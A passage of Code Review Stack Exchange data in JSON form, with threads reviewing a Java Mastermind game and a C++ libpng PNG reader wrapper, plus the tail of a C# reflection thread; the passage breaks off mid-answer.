"body": "Yeah I had considered both of these. The only issue is that this Factory class lives in our `Company.Utilities` Assembly which is strong named & GAC'd. It has a longer Dev/Stable Cycle that the Apps that use it, so making changes-as-needed like adding new enum's or new wrapper methods might be a pain. Will have to think about it. Thanks for the feedback."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T12:19:30.607",
"Id": "16701",
"Score": "0",
"body": "Thanks for the feedback Eoin. Then perhaps, create the same process locally in your code via static helper methods. That way you abstract the method overloads and place them into the release cycle you need."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T01:24:57.863",
"Id": "10473",
"ParentId": "10464",
"Score": "2"
}
},
{
"body": "<p>Getting information from the stacktrace is so incredibly hacky and nasty. This is not guaranteed to work. If some of your methods get inlined, the stack frame is gone.</p>\n\n<p>This is a completely counter-intuitive method to do this. Someone, who doesn't know, will make a refactoring and the code starts to break. Nobody knows why there is no transaction anymore.</p>\n\n<p>In general, you should make important things explicit, so it is hard to inadvertently screw them up.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T22:11:34.073",
"Id": "10515",
"ParentId": "10464",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10473",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T17:04:46.173",
"Id": "10464",
"Score": "8",
"Tags": [
"c#",
".net",
"reflection"
],
"Title": "Attribute driven behaviour in C# methods"
}
|
10464
|
<p>This is pretty much my first "bigger" application besides some "Hello World!" stuff, so I would appreciate critiques to improve my style.</p>
<p>It can be started with <code>Mastermind.play(<difficulty-setting>)</code>, with being a number from 1 (easy) to 10 (hard).</p>
<pre><code>public class Mastermind {
public static void play(int difficulty) {
int round = 1;
int[] zahl = getZufallsZahl(difficulty);
int[] tries = Try(round,difficulty);
int[] hits = getHits(zahl,tries);
while (hits[0]!=difficulty) {
System.out.println("Direct hits: "+hits[0]+"\nIndirect hits: "+hits[1]);
round++;
if (round%(int)(Math.random()*10)==0) {
System.out.println(motivator[(int)(Math.random()*(motivator.length))]);
}
tries = Try(round,difficulty);
hits = getHits(zahl,tries);
}
System.out.println("Congratulations! You got it in "+round+" rounds!");
}
public static int[] getZufallsZahl(int difficulty) {
if (difficulty>10) {
difficulty=10;
}
int[] zahl = new int[difficulty];
int same=1;
for (int i=0; i<difficulty; i++) {
// This loop is quite ugly because of the check over the same variable, but I didn't want to use a break with a label (outerloop: for [...] break outerloop;)
do {
same=0;
zahl[i]=(int)(Math.random()*10);
for (int j=i-1; j>=0; j--) {
if (zahl[i]==zahl[j]) {
same=1;
break;
}
}
} while (same==1);
}
return zahl;
}
// Below function is copy pasted! :O (yes I am ashamed for it, but it's "only" a niche-feature, so yeah :/)
private static String ordinal(int i) {
String[] sufixes = new String[] { "th", "st", "nd", "rd", "th", "th", "th", "th", "th", "th" };
switch (i % 100) {
case 11:
case 12:
case 13:
return i + "th";
default:
return i + sufixes[i % 10];
}
}
// Above function is copy pasted! :O
private static int[] Try(int round, int difficulty) {
int[] intry = evalTry(getTry(round));
while (!verifyTry(intry) || intry.length<(difficulty-1) || intry.length>difficulty) {
System.out.println("Invalid Input!");
intry = evalTry(getTry(round));
}
// This sort of copying of the array makes sure that a 3 element array becomes a 4 element array with a leading 0 to make it easier to process it afterwards.
int[] tries = new int[difficulty];
for (int i=(intry.length-1), k=(difficulty-1); i>=0; k--,i--) {
tries[k]=intry[i];
}
return tries;
}
private static String getTry(int round) {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String in = "";
System.out.print("This is your "+ordinal(round)+" try: ");
try {
in = br.readLine();
} catch (IOException ex) {
Logger.getLogger(main.class.getName()).log(Level.SEVERE, null, ex);
}
return in;
}
private static int[] evalTry(String in) {
int[] intry = new int[in.length()];
for (int i=0; i<in.length(); i++) {
intry[i] = Integer.parseInt(in.substring(i,i+1));
}
return intry;
}
private static boolean verifyTry(int[] intry) {
for (int i=0; i<intry.length; i++) {
for (int j=i-1; j>=0; j--) {
if (intry[i] == intry[j]) {
return false;
}
}
}
return true;
}
private static int[] getHits(int[] zahl,int[] tries) {
// 0 for direct, 1 for indirect.
int[] hits = new int[2];
for (int i=0; i<zahl.length; i++) {
if (zahl[i]==tries[i]) {
hits[0]++;
}
}
for (int i=0; i<zahl.length; i++) {
for (int k=0; k<zahl.length; k++) {
if (zahl[i]==tries[k] && i!=k) {
hits[1]++;
}
}
}
return hits;
}
private static String[] motivator={"You can do it!","Think... Think!","Come on!","You nearly have it!","The force is with you!","FFFFFFFUUUUUUUUUUUU!","This game is stupid anyways...","...","Disregard dumbness, acquire intelligence.","Stop failing, start winning!"};
}
</code></pre>
|
[] |
[
{
"body": "<pre><code>public class Mastermind {\n public static void play(int difficulty) {\n int round = 1;\n int[] zahl = getZufallsZahl(difficulty);\n</code></pre>\n\n<p>zahl? What's that?</p>\n\n<pre><code> int[] tries = Try(round,difficulty);\n</code></pre>\n\n<p>Usually we have classes capitalized, with methods have the first letter lowercase. Because you don't follow convention, that makes this bit harder to read</p>\n\n<pre><code> int[] hits = getHits(zahl,tries);\n</code></pre>\n\n<p>Ok, but tries implies multiple tries. This is a single attempt, and the multiplicity is in the code assignment.</p>\n\n<pre><code> while (hits[0]!=difficulty) {\n System.out.println(\"Direct hits: \"+hits[0]+\"\\nIndirect hits: \"+hits[1]);\n round++;\n if (round%(int)(Math.random()*10)==0) {\n System.out.println(motivator[(int)(Math.random()*(motivator.length))]);\n }\n tries = Try(round,difficulty);\n hits = getHits(zahl,tries);\n</code></pre>\n\n<p>You've repeated code before and in the loop. If you use a break in the middle of the loop, you can avoid that. (If somebody told you not to use break, they were wrong). </p>\n\n<pre><code> }\n System.out.println(\"Congratulations! You got it in \"+round+\" rounds!\");\n }\n\n public static int[] getZufallsZahl(int difficulty) {\n if (difficulty>10) {\n difficulty=10;\n }\n int[] zahl = new int[difficulty];\n int same=1;\n for (int i=0; i<difficulty; i++) {\n // This loop is quite ugly because of the check over the same variable, but I didn't want to use a break with a label (outerloop: for [...] break outerloop;)\n do {\n same=0;\n zahl[i]=(int)(Math.random()*10);\n for (int j=i-1; j>=0; j--) {\n if (zahl[i]==zahl[j]) {\n same=1;\n break;\n }\n }\n } while (same==1);\n }\n</code></pre>\n\n<p>Yeah... Don't do that. Instead:</p>\n\n<ol>\n<li>Start with an array [0,1,2,3,4,5,6,7,8,9]</li>\n<li>Shuffle the array</li>\n<li>Shrink the array to the correct size.</li>\n</ol>\n\n<p>That'll be easier to follow</p>\n\n<pre><code> return zahl;\n }\n\n\n\n // Below function is copy pasted! :O (yes I am ashamed for it, but it's \"only\" a niche-feature, so yeah :/)\n</code></pre>\n\n<p>Nothing wrong with copy-pasting. You should take advantage of code that other people wrote as much as possible. The problem with copy-paste is multiple copies of the same code in your program, not taking working code from elsewhere.</p>\n\n<pre><code> private static String ordinal(int i) {\n String[] sufixes = new String[] { \"th\", \"st\", \"nd\", \"rd\", \"th\", \"th\", \"th\", \"th\", \"th\", \"th\" };\n switch (i % 100) {\n case 11:\n case 12:\n case 13:\n return i + \"th\";\n default:\n return i + sufixes[i % 10];\n }\n }\n // Above function is copy pasted! :O\n\n\n\n private static int[] Try(int round, int difficulty) {\n int[] intry = evalTry(getTry(round));\n</code></pre>\n\n<p>intry? What does that mean? Try to pick helpful variable names</p>\n\n<pre><code> while (!verifyTry(intry) || intry.length<(difficulty-1) || intry.length>difficulty) {\n System.out.println(\"Invalid Input!\");\n intry = evalTry(getTry(round));\n }\n</code></pre>\n\n<p>As before, don't duplicate the contents of the loop before the loop.</p>\n\n<pre><code> // This sort of copying of the array makes sure that a 3 element array becomes a 4 element array with a leading 0 to make it easier to process it afterwards.\n</code></pre>\n\n<p>What? That's a confusing way to explain what you are doing here. Just say that you are filling the array with leading zeros.</p>\n\n<pre><code> int[] tries = new int[difficulty];\n for (int i=(intry.length-1), k=(difficulty-1); i>=0; k--,i--) {\n tries[k]=intry[i];\n</code></pre>\n\n<p>What if intry is too long rather then too short?</p>\n\n<pre><code> }\n return tries;\n }\n private static String getTry(int round) {\n BufferedReader br = new BufferedReader(new InputStreamReader(System.in));\n String in = \"\";\n System.out.print(\"This is your \"+ordinal(round)+\" try: \");\n try {\n in = br.readLine();\n } catch (IOException ex) {\n Logger.getLogger(main.class.getName()).log(Level.SEVERE, null, ex);\n</code></pre>\n\n<p>For quick and dirty application, I suggest <code>throw new RuntimeException(ex);</code> log messages are liable to be missed.</p>\n\n<pre><code> }\n return in;\n }\n private static int[] evalTry(String in) {\n int[] intry = new int[in.length()];\n for (int i=0; i<in.length(); i++) {\n intry[i] = Integer.parseInt(in.substring(i,i+1));\n }\n return intry;\n }\n private static boolean verifyTry(int[] intry) {\n for (int i=0; i<intry.length; i++) {\n for (int j=i-1; j>=0; j--) {\n</code></pre>\n\n<p>Why do you keep making your loops backwards for no reason?</p>\n\n<pre><code> if (intry[i] == intry[j]) {\n return false;\n }\n }\n }\n return true;\n }\n private static int[] getHits(int[] zahl,int[] tries) {\n // 0 for direct, 1 for indirect.\n int[] hits = new int[2];\n</code></pre>\n\n<p>I'd suggest storing the hits in two variables rather then as a two element array. Just stick them in the array when you return.</p>\n\n<pre><code> for (int i=0; i<zahl.length; i++) {\n if (zahl[i]==tries[i]) {\n hits[0]++;\n }\n }\n for (int i=0; i<zahl.length; i++) {\n for (int k=0; k<zahl.length; k++) {\n if (zahl[i]==tries[k] && i!=k) {\n hits[1]++;\n }\n }\n }\n return hits;\n }\n\n private static String[] motivator={\"You can do it!\",\"Think... Think!\",\"Come on!\",\"You nearly have it!\",\"The force is with you!\",\"FFFFFFFUUUUUUUUUUUU!\",\"This game is stupid anyways...\",\"...\",\"Disregard dumbness, acquire intelligence.\",\"Stop failing, start winning!\"};\n</code></pre>\n\n<p>The name <code>motivator</code> should probably be plural.</p>\n\n<pre><code>}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T10:09:51.883",
"Id": "16692",
"Score": "0",
"body": "Thanks a lot! I updated my question with the changed code I wrote. I have a question thought, is it really better if I make an infinite loop in which I break out of instead of just declaring the variables beforehand and using them in the Statement for the loop? Or did I misunderstand you on that part? (\"You've repeated code before and in the loop.\")"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T13:48:43.093",
"Id": "16706",
"Score": "1",
"body": "@Mastermind, I have to admit people will disagree on whether the infinite loop is better. I think it is better to have an infinite loop that you break out of. Its better if you can avoid using `break`, but its more important to avoid duplication."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T02:27:16.270",
"Id": "10476",
"ParentId": "10475",
"Score": "13"
}
}
] |
{
"AcceptedAnswerId": "10476",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T02:04:53.660",
"Id": "10475",
"Score": "6",
"Tags": [
"java",
"game"
],
"Title": "Simple Mastermind game"
}
|
10475
|
<p>This is a general poste about what I can improve in my coding style while wrapping C libraries up into C++.</p>
<pre><code>#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <png.h>
#include <iostream>
#include <vector>
#include <string>
class PNGFileReader
{
public:
PNGFileReader();
~PNGFileReader();
// Public exposed API:
bool compress_raw_to_png(uint8_t data, int size);
bool decompress_png_to_raw(const std::string &path);
// Getters
long unsigned int get_image_width();
long unsigned int get_image_height();
void get_image_data(std::vector<std::vector<unsigned char> > &data);
private:
// Helper functions:
bool read_png(const std::string &path);
bool create_png_structs(FILE *fp);
bool free_data();
bool alloc_data();
// Member variables:
png_structp m_pPNG;
png_infop m_pPNGInfo;
png_infop m_pPNGEndInfo;
png_bytepp m_Data;
long unsigned int m_ImageWidth;
long unsigned int m_ImageHeight;
// Enums
enum PNGBOOL {NOT_PNG, PNG};
enum PNGERRORS {ERROR, SUCCESS};
};
#endif /* PNG_FILE_READER_H_ */
</code></pre>
<hr>
<pre><code>#include "pngfilereader.h"
#include <stdexcept>
PNGFileReader::PNGFileReader() :
m_pPNG(NULL),
m_pPNGInfo(NULL),
m_pPNGEndInfo(NULL),
m_Data(NULL),
m_ImageWidth(0),
m_ImageHeight(0)
{
}
PNGFileReader::~PNGFileReader()
{
for (unsigned long int i = 0; i < m_ImageHeight; ++i) {
if (m_Data[i]) {
delete m_Data[i];
m_Data[i] = NULL;
}
}
if (m_Data) {
delete m_Data;
m_Data = NULL;
}
}
// Public Exposed API
bool PNGFileReader::compress_raw_to_png(uint8_t m_Data, int size)
{
return PNGFileReader::SUCCESS;
}
bool PNGFileReader::decompress_png_to_raw(const std::string &path)
{
return read_png(path);
}
// Getters
long unsigned int PNGFileReader::get_image_width()
{
return m_ImageWidth;
}
long unsigned int PNGFileReader::get_image_height()
{
return m_ImageHeight;
}
void PNGFileReader::get_image_data(
std::vector<std::vector<unsigned char> > &data)
{
for (unsigned long int i = 0; i < m_ImageHeight; ++i) {
std::vector<unsigned char> v;
data.push_back(v);
for (unsigned long int j = 0; j < m_ImageWidth; ++j) {
std::vector<unsigned char> *vp = &data[i];
vp->push_back(m_Data[i][j]);
}
}
}
// Private Methods
bool PNGFileReader::read_png(const std::string &path)
{
/*
* Open up the file to read (path) in binary mode
* first so that if anything goes wrong with libpng
* we won't have much to undo
*/
const char *c_path = path.c_str();
FILE *fp = fopen(c_path, "rb");
if (!fp)
return PNGFileReader::ERROR;
/*
* Read the first BYTES_TO_READ bytes from file
* then determine if it is a png file or
* not. If png_sig_cmp == 0 all is okay
*/
enum {BYTES_TO_READ = 8};
unsigned char sig[BYTES_TO_READ];
if (!fread(sig, 1, BYTES_TO_READ, fp)) {
fclose(fp);
return PNGFileReader::ERROR;
}
bool is_png = !png_sig_cmp(sig, 0, BYTES_TO_READ);
if (!is_png) {
fclose(fp);
return PNGFileReader::ERROR;
}
if (!this->create_png_structs(fp)) {
fclose(fp);
return PNGFileReader::ERROR;
}
/*
* For error handling purposes. Set a long pointer
* back to this function to handle all error related
* to file IO
*/
if (setjmp(png_jmpbuf(m_pPNG)))
{
png_destroy_read_struct(&m_pPNG, &m_pPNGInfo, &m_pPNGEndInfo);
fclose(fp);
return PNGFileReader::ERROR;
}
/*
* Set up the input code for FILE openend in binary mode,
* and tell libpng we have already read BYTES_TO_READ btyes from
* signature
*/
png_init_io(m_pPNG, fp);
png_set_sig_bytes(m_pPNG, BYTES_TO_READ);
/*
* Using the lowlevel interface to lib png ...
*/
png_read_info(m_pPNG, m_pPNGInfo);
m_ImageHeight = png_get_image_height(m_pPNG, m_pPNGInfo);
m_ImageWidth = png_get_rowbytes(m_pPNG, m_pPNGInfo);
this->alloc_data();
png_read_image(m_pPNG, m_Data);
png_read_end(m_pPNG, NULL);
png_destroy_read_struct(&m_pPNG, &m_pPNGInfo, &m_pPNGEndInfo);
fclose(fp);
return PNGFileReader::SUCCESS;
}
bool PNGFileReader::create_png_structs(FILE *fp)
{
/*
* Create the pointer to main libpng struct, as well as
* two info structs to maintain information after, and
* prior to all operations on png m_Data. Only necessary
* to release resource after function succeeds.
*/
m_pPNG = png_create_read_struct(PNG_LIBPNG_VER_STRING, (png_voidp)NULL,
NULL, NULL);
if (!m_pPNG)
{
fclose(fp);
return PNGFileReader::ERROR;
}
m_pPNGInfo = png_create_info_struct(m_pPNG);
if (!m_pPNGInfo)
{
png_destroy_read_struct(&m_pPNG, (png_infopp)NULL,(png_infopp)NULL);
fclose(fp);
return PNGFileReader::ERROR;
}
m_pPNGEndInfo = png_create_info_struct(m_pPNG);
if (!m_pPNGEndInfo)
{
png_destroy_read_struct(&m_pPNG, &m_pPNGInfo, (png_infopp)NULL);
fclose(fp);
return PNGFileReader::ERROR;
}
return PNGFileReader::SUCCESS;
}
bool PNGFileReader::free_data()
{
if (m_ImageHeight == 0 || m_ImageWidth == 0)
return PNGFileReader::ERROR;
for (unsigned long int i = 0; i < m_ImageHeight; ++i) {
if (m_Data[i]) {
delete m_Data[i];
m_Data[i] = NULL;
}
}
if (m_Data) {
delete m_Data;
m_Data = NULL;
}
return PNGFileReader::SUCCESS;
}
bool PNGFileReader::alloc_data()
{
if (m_ImageHeight == 0 || m_ImageWidth == 0)
return PNGFileReader::ERROR;
if (m_Data != NULL)
this->free_data();
m_Data = new png_bytep[m_ImageHeight]();
for (unsigned long int i = 0; i < m_ImageHeight; ++i) {
m_Data[i] = NULL;
}
try {
for (unsigned long int i = 0; i < m_ImageHeight; ++i) {
m_Data[i] = new png_byte[m_ImageWidth];
}
}
catch (std::bad_alloc e) {
for (unsigned long int i = 0; i < m_ImageHeight; ++i) {
if (m_Data[i]) {
delete m_Data[i];
m_Data[i] = NULL;
}
}
if (m_Data) {
delete m_Data;
m_Data = NULL;
}
throw e;
}
return PNGFileReader::SUCCESS;
}
</code></pre>
<hr>
<p><strong>UPDATE</strong></p>
<p>In trying to take all your points into consideration, I have rewritten the program, and have attempted to use RAII as much as possible. Please let me know if I am not using RAII correctly, or if there are other things that I need to improve upon.</p>
<pre><code>#include "pngfilereader.h"
#include <iostream>
int main (int /*argc*/, char **/*argv*/)
{
PNGFileReader pngfr("/home/matt6809/Downloads/info-32x32.png");
std::cout << &pngfr;
return 0;
}
</code></pre>
<hr>
<pre><code>#ifndef PNG_FILE_READER_H_
#define PNG_FILE_READER_H_
#include "imagedata.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <png.h>
#include <iostream>
#include <vector>
#include <string>
template <typename data_type>
class ImageData;
class PNGFileReader
{
public:
// Ctor and Dtor
PNGFileReader(const std::string &path);
~PNGFileReader();
// For testing purposes
friend std::ostream &operator<< (std::ostream &out,
PNGFileReader *object)
{
for (unsigned long i = 0; i < object->get_image_height(); ++i) {
for (unsigned long j = 0; j < object->get_image_width(); ++j) {
out << object->_m_Image->get_data()[i][j];
}
}
return out;
}
// Getters
long unsigned int get_image_width();
long unsigned int get_image_height();
private:
// Helper functions:
bool _create_png_structs();
// Member variables:
FILE *_m_CFilePointer;
ImageData<unsigned char> *_m_Image;
png_structp _m_pPNG;
png_infop _m_pPNGInfo;
long unsigned int _m_ImageWidth;
long unsigned int _m_ImageHeight;
// Enums
enum PNGBOOL {NOT_PNG, PNG};
enum PNGERRORS {ERROR, SUCCESS};
};
#endif /* PNG_FILE_READER_H_ */
</code></pre>
<hr>
<pre><code>#include "pngfilereader.h"
#include "filereader.h"
#include "imagedata.h"
#include <stdexcept>
PNGFileReader::PNGFileReader(const std::string &path) :
_m_pPNG(NULL),
_m_pPNGInfo(NULL),
_m_ImageWidth(0),
_m_ImageHeight(0)
{
/*
* Check if first 8 bytes are the correct PNG header
*/
enum {BYTES_TO_READ = 8};
unsigned char sig[BYTES_TO_READ];
FileReader(path, sig, BYTES_TO_READ);
bool not_png = png_sig_cmp(sig, 0, BYTES_TO_READ);
if (not_png) {
throw std::runtime_error("Your file is not of PNG format");
}
/*
* Create the png structs using a FILE *. libpng requires
* this type and will not take a C++ stream
*/
_m_CFilePointer = fopen(path.c_str(), "rb");
if (!_m_CFilePointer) {
throw std::runtime_error("Failure to open PNG file");
}
if (!_create_png_structs()) {
throw std::runtime_error("Failure to create PNG structs");
}
/*
* Initialize PNG io and read data into PNG structs
*/
png_init_io(_m_pPNG, _m_CFilePointer);
png_read_info(_m_pPNG, _m_pPNGInfo);
_m_ImageHeight = png_get_image_height(_m_pPNG, _m_pPNGInfo);
_m_ImageWidth = png_get_rowbytes(_m_pPNG, _m_pPNGInfo);
/*
* Read Image in all at once into users data
*/
_m_Image = new ImageData<unsigned char>(_m_ImageWidth, _m_ImageHeight);
png_read_image(_m_pPNG, _m_Image->get_data());
png_read_end(_m_pPNG, NULL);
fclose(_m_CFilePointer);
_m_CFilePointer = NULL;
}
PNGFileReader::~PNGFileReader()
{
if (_m_CFilePointer) {
fclose(_m_CFilePointer);
}
png_destroy_read_struct(&_m_pPNG, &_m_pPNGInfo, NULL);
delete _m_Image;
}
// Getters
long unsigned int PNGFileReader::get_image_width()
{
return _m_ImageWidth;
}
long unsigned int PNGFileReader::get_image_height()
{
return _m_ImageHeight;
}
// Private helper functions
bool PNGFileReader::_create_png_structs()
{
/*
* Create the pointer to main libpng struct, as well as
* two info structs to maintain information after, and
* prior to all operations on png m_Data. Only necessary
* to release resource after function succeeds.
*/
_m_pPNG = png_create_read_struct(PNG_LIBPNG_VER_STRING, (png_voidp)NULL,
NULL, NULL);
if (!_m_pPNG){
return PNGFileReader::ERROR;
}
_m_pPNGInfo = png_create_info_struct(_m_pPNG);
if (!_m_pPNGInfo) {
return PNGFileReader::ERROR;
}
return PNGFileReader::SUCCESS;
}
</code></pre>
<hr>
<pre><code>#ifndef IMAGE_DATA_
#define IMAGE_DATA_
#include <stdexcept>
template <typename data_type>
class ImageData
{
public:
ImageData(unsigned long width, unsigned long height);
~ImageData();
ImageData(ImageData &copy);
ImageData& operator= (ImageData &copy);
data_type **&get_data();
private:
data_type **_m_rData;
unsigned long _m_Width;
unsigned long _m_Height;
};
template <typename data_type>
ImageData<data_type>::ImageData(unsigned long width, unsigned long height) :
_m_rData(NULL),
_m_Width(width),
_m_Height(height)
{
if (width == 0 || height == 0)
throw std::runtime_error("Invalid width or height");
try {
_m_rData = new data_type*[height]();
for (unsigned long int i = 0; i < height; ++i) {
_m_rData[i] = NULL;
}
for (unsigned long int i = 0; i < height; ++i) {
_m_rData[i] = new data_type[width];
}
}
catch (std::bad_alloc e) {
throw std::runtime_error("Failure to create space for Image");
}
}
template <typename data_type>
ImageData<data_type>::~ImageData()
{
for (unsigned long i = 0; i < _m_Height; ++i) {
delete [] _m_rData[i];
_m_rData[i] = NULL;
}
delete _m_rData;
_m_rData = NULL;
}
template <typename data_type>
ImageData<data_type>::ImageData(ImageData &copy)
{
}
template <typename data_type>
ImageData<data_type>& ImageData<data_type>::operator= (ImageData &copy)
{
}
template <typename data_type>
data_type **&ImageData<data_type>::get_data()
{
return _m_rData;
}
#endif
</code></pre>
<hr>
<pre><code>#ifndef FILEREADER_H_
#define FILEREADER_H_
#include <string>
#include <fstream>
#include <iostream>
class FileReader
{
public:
FileReader(const std::string &path, unsigned char data[],
long long bytes_to_read);
~FileReader();
private:
std::ifstream _m_InFile;
};
#endif
</code></pre>
<hr>
<pre><code>#include "filereader.h"
#include <stdexcept>
#include <fstream>
#include <iostream>
FileReader::FileReader(const std::string &path,
unsigned char data[], long long bytes_to_read)
{
_m_InFile.open(path.c_str());
if (!_m_InFile) {
throw std::runtime_error("Failure to open " + path);
}
try {
_m_InFile.read(reinterpret_cast<char *>(data), bytes_to_read);
} catch (std::ios_base::failure e) {
throw std::runtime_error("Failure while reading first N bytes");
}
}
FileReader::~FileReader()
{
_m_InFile.close();
}
</code></pre>
|
[] |
[
{
"body": "<p>I believe it is better to make separate <code>Image</code> class and convert <code>PNGFileReader</code> into a factory/builder for the <code>Image</code>. It will completely change the code, but you see that it will force you to have clearer code. </p>\n\n<p>At least, it is better to use streams instead of <code>FILE</code> and get rid of all \"if the file is ok\" checks.</p>\n\n<p>Regarding style, I think that naming convention could be better, like use distinctive names for private methods (<code>_read_png</code>, for example). Constructor (as it is implemented) can be inlined.</p>\n\n<p>I prefer to use <code>{}</code> even if there is just one line after <code>if</code>, or <code>while</code> - it will produce more readable code, plus it will decrease number of differences if you use a version control system.</p>\n\n<p>Pieces like </p>\n\n<pre><code>bool is_png = !png_sig_cmp(sig, 0, BYTES_TO_READ);\nif (!is_png) { .....\n</code></pre>\n\n<p>are really hard to understand (double negation is always a good brain killer).</p>\n\n<p>Use more <code>try catch</code> around memory allocations and low level IO operations.</p>\n\n<p>Code like </p>\n\n<pre><code>if (m_Data != NULL)\n this->free_data();\n\nm_Data = new png_bytep[m_ImageHeight](); \n</code></pre>\n\n<p>is not exception save. It is better to follow another pattern like 1) allocate memory 2) copy old data to new / do operations 3) free old data. In this way you will have old data at least, not an object in half-desintegrated state.</p>\n\n<p>Since you have a lot of cleanup code (<code>delete</code> and <code>fclose</code>) it creates good bug opportunities. You may consider \"RAII\" (Resource Acquisition In Initialization) pattern: make an object that will create in ctor and hold all temporary resources, and clean up them in dtor. Then, declare that object as a variable in local sope - so it will create resources upon scope entry. When it leaves the scope (exception or return statement at any line of the code) its destructor will clean up resources consistently.</p>\n\n<p><strong>EDIT after author's update</strong></p>\n\n<p>Perhaps, <code>PNGFileReader</code> should be a template too and have a getter for <code>Image</code>. Anyway, this getter is missing, right? If it had this one, it would not have <code>get_image_width()</code> - the <code>Image</code> knww it's dimensions better.</p>\n\n<p>Anyway, if you need getters mark them as constant (and inline in simple cases):</p>\n\n<pre><code>inline long unsigned int PNGFileReader::get_image_width() const\n</code></pre>\n\n<p>It will give more room for optimization for a compiler.</p>\n\n<p>\"Create the png structs using a FILE *. libpng requires this type and will not take a C++ stream\" - good point. I did not know that. You should drop <code>FileReader</code> then, no point to have it.</p>\n\n<pre><code>for (unsigned long int i = 0; i < height; ++i) {\n _m_rData[i] = NULL;\n}\n</code></pre>\n\n<p><code>memset</code> works better...</p>\n\n<pre><code>data_type **&get_data();\n</code></pre>\n\n<p>Do you <em>really</em> understand what does it mean? I do not and I believe such clever things must be avoided at any cost. well, if you want to compete with C++ standardization commetee and compiler developers....</p>\n\n<p>It is better to overload <code>[]</code> (or <code>()</code>) operators to give users access to the image.</p>\n\n<p>Copy constructor and assignment operator should be <code>ImageData(const ImageData &copy)</code> and <code>operator= (const ImageData &copy)</code>, if you want disable them (and this may be a good idea) do not use any implementation at all. Use just declaration (mandatory, otherwise compiler will generate copy constructor for you), it will allow to have compile-time errors on copy/assignmnet attemts. Like now, compiler will eat it, so programm will work in unplanned way (somebody write <code>image1 = image2</code>, compiles says \"ok\", but image1 is empty at run-time).</p>\n\n<p>Underscore as prefix to members is a bit overkill, good class should not have public members anyway, right? So, <code>m_something</code> is a good style already.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T06:11:06.773",
"Id": "16742",
"Score": "0",
"body": "Thanks again for the input, I have made the respective changes, could you please take one last look at my updates to let me know if I have made them correctly?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T11:43:01.740",
"Id": "10480",
"ParentId": "10477",
"Score": "2"
}
},
{
"body": "<h3>Style Comments:</h3>\n<ul>\n<li>No need to check if a pointer is NULL before deleting:</li>\n<li>Since you use <code>new X[size];</code> to allocate the memory you should delete with <code>delete [] data;</code></li>\n<li>I see multiple copies of the freeing loop so put it in one place and call the free method everywhere you use it:</li>\n</ul>\n<p>Free:</p>\n<pre><code> for (unsigned long int i = 0; i < m_ImageHeight; ++i) \n {\n if (m_Data[i]) {\n delete m_Data[i];\n m_Data[i] = NULL;\n } \n }\n if (m_Data) {\n delete m_Data;\n m_Data = NULL;\n }\n</code></pre>\n<p>Should be:</p>\n<pre><code> for (unsigned long int i = 0; i < m_ImageHeight; ++i) \n {\n delete [] m_Data[i];\n } \n delete m_Data;\n m_Data = NULL;\n</code></pre>\n<p>Personally I would take this a step further and encapsulate m_Data into its own class that understands how to handle the memory then just call clear() on the new class to empty it (destructor automatically calls clear).</p>\n<p>Your get function seems very ineffecient?</p>\n<pre><code>void PNGFileReader::get_image_data(\n std::vector<std::vector<unsigned char> > &data)\n{\n for (unsigned long int i = 0; i < m_ImageHeight; ++i) {\n std::vector<unsigned char> v;\n data.push_back(v);\n for (unsigned long int j = 0; j < m_ImageWidth; ++j) {\n std::vector<unsigned char> *vp = &data[i];\n vp->push_back(m_Data[i][j]);\n } \n }\n}\n</code></pre>\n<p>You are making a copy of all the data to send back to the user. This brings me back the class for encapsulating the raw data (m_data above). If you had encapsulated that data in a class you could just return a const reference to this internal object, thus no copying required.</p>\n<p>Also I don't particularly like the lines:</p>\n<pre><code> std::vector<unsigned char> *vp = &data[i];\n vp->push_back(m_Data[i][j]);\n</code></pre>\n<p>Personally I think it is much easier to read as:</p>\n<pre><code> data[i].push_back(m_Data[i][j]);\n</code></pre>\n<p>If you must have an indirection I would have used a reference not a pointer:</p>\n<pre><code> std::vector<unsigned char>& vp = data[i];\n vp.push_back(m_Data[i][j]);\n</code></pre>\n<p>Reading from a file:</p>\n<pre><code>if (!fread(sig, 1, BYTES_TO_READ, fp))\n</code></pre>\n<p>Unfortunately this can still fail (and your code will not notice). You need to check the amount read is the amount requeted:</p>\n<pre><code>if (fread(sig, 1, BYTES_TO_READ, fp) == BYTES_TO_READ)\n</code></pre>\n<p>Alternatively you can set the number of objects to one then the not test will work as you expect:</p>\n<pre><code>if (!fread(sig, BYTES_TO_READ, 1, fp))\n /// ^^^^^^^^^^^^^ Notice the size comes first\n // ^^ We only want one so the result is 0 or 1\n</code></pre>\n<p>OK there is something wrong when you start setting long jumps:</p>\n<pre><code>if (setjmp(png_jmpbuf(m_pPNG)))\n</code></pre>\n<p>This implies you have not set your object up correctly. Some exceptions should help you cover this in a much more readable and maintainable fashion.</p>\n<p>All over the code you are repeating the same error handling:</p>\n<pre><code> fclose(fp);\n return errorCode.\n</code></pre>\n<p>The manual close indicates that you should be wrapping the file pointer in some RAII structure so that it can not be accidentally be left open. Currently your code is becoming a maintenance nightmare as any new developer will have to remember to close resources manually (when things have to be done manually this is a bad design as it will cost in maintenance bugs)</p>\n<h3>Overall structure.</h3>\n<p>I don't like the two phase creation.</p>\n<pre><code>PNGFileReader png1;\npng1.compress_raw_to_png(data, data.size());\n\n// or\n\nPNGFileReader png2;\npng2.decompress_png_to_raw("Plop.png");\n</code></pre>\n<p>What I would rather see is an object that is full 